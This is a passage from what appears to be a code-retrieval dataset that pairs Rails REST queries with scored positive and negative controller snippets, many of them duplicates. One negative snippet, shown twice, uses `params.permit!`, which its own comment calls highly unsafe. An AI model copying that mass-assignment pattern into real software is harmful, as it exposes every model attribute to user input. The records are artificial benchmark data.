BatteryDailyTest.find(params[:id])\n\t\t@battery = @battery_daily_test.battery\t\t\n\t\t\n respond_to do |format|\n if @battery_daily_test.update_attributes(params[:battery_daily_test])\n format.html { redirect_to battery_battery_daily_test_path(@battery, @battery_daily_test), notice: 'Battery daily test was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @battery_daily_test.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ce13de0dfab70b1759321b7929cfc496", "score": "0.5340425", "text": "def update\n update_params = params.permit! # FIX-ME: This is highly unsafe\n\n observation = Observation.find(params[:id])\n if observation.update(update_params)\n render json: observation, status: :created\n else\n render json: observation.errors, status: :bad_request\n end\n end", "title": "" }, { "docid": "ce13de0dfab70b1759321b7929cfc496", "score": "0.5340425", "text": "def update\n update_params = params.permit! # FIX-ME: This is highly unsafe\n\n observation = Observation.find(params[:id])\n if observation.update(update_params)\n render json: observation, status: :created\n else\n render json: observation.errors, status: :bad_request\n end\n end", "title": "" }, { "docid": "96dbc772263228fcaba4848659375d14", "score": "0.53326935", "text": "def create\n @battery = Battery.new(params[:battery])\n @station = Station.find(params[:station_id])\n\n respond_to do |format|\n if @battery.save\n # Create empty bank records for battery according to given number of banks attributes\n create_banks(@battery)\n format.html { redirect_to station_batteries_path(@battery.station), notice: 'Battery was successfully created.' }\n format.json { render json: @battery, status: :created, location: @battery }\n else\n format.html { render action: \"new\" }\n format.json { render json: @battery.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "118e5378610d7100e145d9ae9917b945", "score": "0.5332571", "text": "def update\n respond_to do |format|\n if @bagh.update(bagh_params)\n format.html { redirect_to @bagh, notice: 'Bagh was successfully updated.' }\n format.json { render :show, status: :ok, location: @bagh }\n else\n format.html { render :edit }\n format.json { render json: @bagh.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "81b382862d799c76b3d848012e97892b", "score": "0.53255504", "text": "def updateDevicesAndLocations\n response = post(REFRESH_CLIENT)\n devices_json = JSON.parse(response.body)['content']\n # devices_json.collect { |device|\n # #hash_to_device(device)\n # device.slice('id', 'name', 'deviceDisplayName', 'rawDeviceModel', 'deviceStatus')\n # }\n devices_json\n end", "title": "" }, { "docid": "15bb585ffa0114df6f9765ced48e18a9", "score": "0.5324798", "text": "def update\n \n if @animal.update(animal_params)\n render json: @animal\n else\n render json: {}, status: :bad_request \n end\n end", "title": "" }, { "docid": "cc862c416ed08b623f0f102ecfa29ef7", "score": "0.532394", "text": "def update\n @battery = Battery.find(params[:id])\n @station = Station.find(params[:station_id])\t\n\t\n respond_to do |format|\n if @battery.update_attributes(params[:battery])\n format.html { redirect_to(station_battery_path(@station,@battery), :notice => 'Battery was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @battery.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" } ]
230a491c48baa7fffd0513354f203266
DELETE /student_informations/1 DELETE /student_informations/1.json
[ { "docid": "fb787de972129cbb7d8cc18ce121a68a", "score": "0.74733764", "text": "def destroy\n @student_information.destroy\n respond_to do |format|\n format.html { redirect_to student_informations_url, notice: 'Student information was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" } ]
[ { "docid": "a41be49f6458790d5a2d38db09348203", "score": "0.7677871", "text": "def destroy\n require 'net/http'\n require 'json'\n\n # Correct URL for deleting a resource.\n uri = URI(\"http://localhost:3000/students/#{params[:id]}.json\")\n\n request = Net::HTTP::Delete.new uri\n\n # Hitting the endpoint.\n response = Net::HTTP.start uri.hostname, uri.port do |http|\n http.request request\n end\n\n if response.code == '200'\n redirect_to students_path, notice: 'Successfully removed record.'\n else\n redirect_to students_path, notice: 'Failed to delete.'\n end\n end", "title": "" }, { "docid": "3b7add0faf940886f07118c3a86b1cca", "score": "0.75952256", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to :root }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "653693864298e0687223c333f5fa0323", "score": "0.7556428", "text": "def destroy\n @student = Student.find(params[:id])\n @student.destroy\n render json: {success: \"ok\"}\n end", "title": "" }, { "docid": "8f7de0ca6ad5625fb670b676ff82aebf", "score": "0.75524825", "text": "def destroy\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "80f8ab17da5bf9ce5fbe8092400f185f", "score": "0.7539335", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html {redirect_to students_path, notice: t('deleting_success')}\n format.json {head :no_content}\n end\n end", "title": "" }, { "docid": "e8af8579cfbd4c028b35f18d7930f959", "score": "0.75320005", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e8af8579cfbd4c028b35f18d7930f959", "score": "0.7531779", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e8af8579cfbd4c028b35f18d7930f959", "score": "0.7531779", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e8af8579cfbd4c028b35f18d7930f959", "score": "0.7531779", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e8af8579cfbd4c028b35f18d7930f959", "score": "0.7531779", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e8af8579cfbd4c028b35f18d7930f959", "score": "0.7531779", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e8af8579cfbd4c028b35f18d7930f959", "score": "0.7531779", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e8af8579cfbd4c028b35f18d7930f959", "score": "0.7531779", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e8af8579cfbd4c028b35f18d7930f959", "score": "0.75311756", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "470d37aaf90d681186df74204e3e5dad", "score": "0.75223136", "text": "def destroy\n student.destroy\n respond_to do |format|\n format.html { redirect_to admin_students_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "22f6eb24ee5f71d5d65f5586a91cc7a8", "score": "0.75099885", "text": "def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to student_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "133135d3ef92ea499251ce245898da78", "score": "0.75054914", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Student was successfully removed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3c0a114a7149e870b278ca8c89d51630", "score": "0.7490764", "text": "def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3c0a114a7149e870b278ca8c89d51630", "score": "0.7490764", "text": "def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3c0a114a7149e870b278ca8c89d51630", "score": "0.7490764", "text": "def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3c0a114a7149e870b278ca8c89d51630", "score": "0.7490764", "text": "def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3c0a114a7149e870b278ca8c89d51630", "score": "0.7490764", "text": "def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3c0a114a7149e870b278ca8c89d51630", "score": "0.7490764", "text": "def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3c0a114a7149e870b278ca8c89d51630", "score": "0.7490764", "text": "def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3c0a114a7149e870b278ca8c89d51630", "score": "0.7490764", "text": "def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3c0a114a7149e870b278ca8c89d51630", "score": "0.7490764", "text": "def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3c0a114a7149e870b278ca8c89d51630", "score": "0.7490764", "text": "def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3c0a114a7149e870b278ca8c89d51630", "score": "0.7490764", "text": "def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3c0a114a7149e870b278ca8c89d51630", "score": "0.7490764", "text": "def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3c0a114a7149e870b278ca8c89d51630", "score": "0.7490764", "text": "def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3c0a114a7149e870b278ca8c89d51630", "score": "0.7490764", "text": "def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3c0a114a7149e870b278ca8c89d51630", "score": "0.7490764", "text": "def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3c0a114a7149e870b278ca8c89d51630", "score": "0.7490764", "text": "def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3c0a114a7149e870b278ca8c89d51630", "score": "0.7490764", "text": "def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3c0a114a7149e870b278ca8c89d51630", "score": "0.7490764", "text": "def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3c0a114a7149e870b278ca8c89d51630", "score": "0.7490764", "text": "def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3c0a114a7149e870b278ca8c89d51630", "score": "0.7490764", "text": "def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3c0a114a7149e870b278ca8c89d51630", "score": "0.7490764", "text": "def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3c0a114a7149e870b278ca8c89d51630", "score": "0.7490764", "text": "def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fe64ea246db0194c283ec67c930c9cb7", "score": "0.74849737", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student record was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7828bc03d6b06087d141c3c58c8ab09d", "score": "0.7473833", "text": "def destroy\n @student.delete_student\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "731740be724b342a1be211090b28da13", "score": "0.7461748", "text": "def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "731740be724b342a1be211090b28da13", "score": "0.7461748", "text": "def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "aed66585cfb10101c2b987a6efe08d49", "score": "0.74592364", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "aed66585cfb10101c2b987a6efe08d49", "score": "0.74592364", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e752001f2243eeea29e574efe36d5d77", "score": "0.74522495", "text": "def destroy\n @graduate_student_info = GraduateStudentInfo.find(params[:id])\n @graduate_student_info.destroy\n\n respond_to do |format|\n format.html { redirect_to graduate_student_infos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b474014023dd650e2a58ca1e36b37385", "score": "0.7442365", "text": "def destroy\n @student = Student.find(params[:student_id])\n @detention = Detention.find(params[:id])\n @detention.destroy\n\n respond_to do |format|\n format.html { redirect_to student_url(@student) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9a1a21bea5eccb4b7019602610344d21", "score": "0.743426", "text": "def destroy\n @student = Student.find(params[:id])\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "66f18f4599f9109a19c0c1f41af9b209", "score": "0.74137896", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: '该报名信息已删除.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3a1e8a11a0605290344adc99a4b24a36", "score": "0.74122524", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to current_user, notice: 'Student was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bd9c331a8e5cdfef299fb87ea3b7a4d5", "score": "0.7407952", "text": "def destroy\n @studentrec = Studentrec.find(params[:id])\n @studentrec.destroy\n\n respond_to do |format|\n format.html { redirect_to studentrecs_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "58ae9c26bb2507713dac8b2c9550dc60", "score": "0.74013853", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "009612056475f4ed71c3f568e417e005", "score": "0.7390211", "text": "def destroy\n @dojo_student.destroy\n respond_to do |format|\n format.html { redirect_to dojo_students_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fe7f7026fe5402080ebb540a7c9fa352", "score": "0.7388367", "text": "def destroy\n student = Student.find(params[:id])\n student.destroy\n render json: {status: 'SUCCESS', message:'Deleted student', data:student},status: :ok\n end", "title": "" }, { "docid": "4ec8ffe847b8cb8c99747021e59d2124", "score": "0.7385638", "text": "def destroy\n @student_detail.destroy\n respond_to do |format|\n format.html { redirect_to student_details_path, notice: 'Student detail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "603c36155e8a21d23f750fce279df93a", "score": "0.738341", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Estudiante eliminado exitosamente.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7cf75049095555f5d9dbced12b50bff9", "score": "0.73817474", "text": "def destroy\n @student_detail.destroy\n respond_to do |format|\n format.html { redirect_to student_details_url, notice: 'Student detail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7c4749758794bd2720b4dd4a9aebc151", "score": "0.7378684", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to course_of_study_course_student_path, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c0ee0fdafaa5d34f2c7615be3412db79", "score": "0.73776513", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: \"El Alumno fue eliminado exitosamente.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "46f0c167dafca5662bc18857920eeab9", "score": "0.73755985", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Estudiante eliminado' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8d8224ea81271a6b6a5fc342527899a9", "score": "0.7373271", "text": "def destroy\n @student_path.destroy\n respond_to do |format|\n format.html { redirect_to student_paths_url, notice: 'Student path was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "cef7c7d96bfd4c8deeb8de432c041fdd", "score": "0.73540443", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Comentario eliminado' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a3590977da7f56bde511ecf3723c21b3", "score": "0.73501194", "text": "def destroy\n @invention_has_student.destroy\n respond_to do |format|\n format.html { redirect_to invention_has_students_url, notice: 'Invention has student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f6f4b9038fc4741dd3f289b86a99d12e", "score": "0.7343088", "text": "def delete\n @student = Student.shod(params[:format])\n end", "title": "" }, { "docid": "0eb838e06acc6f46874943bc50f822bf", "score": "0.73329216", "text": "def destroy\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e50f71dba2a007e7846b05c87233fb60", "score": "0.7328533", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Estudando deletado com sucesso' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f4e28c22552044aafef4b6a9568530b5", "score": "0.7326841", "text": "def destroy\n \n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "48fffd50b2c80b82bc31d63748525d07", "score": "0.73184747", "text": "def destroy\n @student.user.destroy\n @student.destroy\n\n respond_to do |format|\n format.html { redirect_to students_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "910f4c2af077e204bfee801627165332", "score": "0.73137546", "text": "def destroy\n @student.destroy\n respond_to do |format|\n format.html { redirect_to students_url, notice: 'Student was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" } ]
185b801dc7723defe7e3b33c6a98af50
Compute a link href to the given symbol for use within the HTML output.
[ { "docid": "1d0d6b9453d8fd24300c90da334d4fa1", "score": "0.66052854", "text": "def link_for(symbol)\n\t\t\t\tpath = symbol.lexical_path.map{|entry| entry.to_s}\n\t\t\t\t\n\t\t\t\tif symbol.container?\n\t\t\t\t\treturn Trenni::Reference.new(@source_path + path + \"index\")\n\t\t\t\telse\n\t\t\t\t\tname = path.pop\n\t\t\t\t\treturn Trenni::Reference.new(@source_path + path + \"index\", fragment: id_for(symbol))\n\t\t\t\tend\n\t\t\tend", "title": "" } ]
[ { "docid": "7ae489fe3c6116676d7f5ced21326e50", "score": "0.66971624", "text": "def href_link(url)\n \"<a href='#{url}' rel='external'>#{url}</a>\".html_safe\n end", "title": "" }, { "docid": "d97d6bfe5331ac83747d391dfc82017f", "score": "0.66362303", "text": "def href(link, cls, name)\n %{<a href=\"#{link}\" class=\"#{cls}\">#{name}</a>} #\"\n end", "title": "" }, { "docid": "38866e0b54a2226adfd691a44bcd7ca4", "score": "0.66022474", "text": "def url_link(text, url)\n \"<#{url}|#{text}>\"\n end", "title": "" }, { "docid": "49e491c9e9c68ad94d06cbc50a8ceb65", "score": "0.6549757", "text": "def icon_link_to(text, icon_key, url, options = {})\n icon = icon_tag(icon_key, options.delete(:icon_options) || {})\n unless url\n content_tag(:a, (icon + text).html_safe, options)\n else\n link_to((icon + text).html_safe, url, options)\n end\n end", "title": "" }, { "docid": "c772c10ad29ef0c08dddcccd5c00e6ea", "score": "0.6488914", "text": "def link_to(text,url)\n \"<a href=#{url}>#{text}</a>\"\n end", "title": "" }, { "docid": "0080e187e6b3ecde5c9e66cc0f776925", "score": "0.6485607", "text": "def link_to(*_)\n \"<a href='x'>X</a>\"\n end", "title": "" }, { "docid": "795a7c4a529a205d3ae0b19450ca4595", "score": "0.6467063", "text": "def link_to(text, url)\n return %Q{<a href=\"#{url}\">#{text}</a>}\nend", "title": "" }, { "docid": "736c7b276a84ac3ae085f1ef7497e7e7", "score": "0.64452785", "text": "def link(url, label = nil)\n url = h(full_url(url))\n \"<a href=\\\"#{url}\\\">#{label ? h(label) : url}</a>\"\n end", "title": "" }, { "docid": "c2b9caf8497de761b68cf42f79f0eaf6", "score": "0.6443352", "text": "def link_to(name, url, options = {})\n \"<a href='http://eo:4567#{url}' #{attrs(options)}>#{name}</a>\"\n end", "title": "" }, { "docid": "023a540c2bb5d8fcdc26a9e605305043", "score": "0.64077497", "text": "def link_to( url )\n [@base, url].join(\"\")\n end", "title": "" }, { "docid": "ef644e7aa29fb37eb69848b9dd9172a3", "score": "0.64016575", "text": "def link_to( text, url, opts )\n res = \"<a 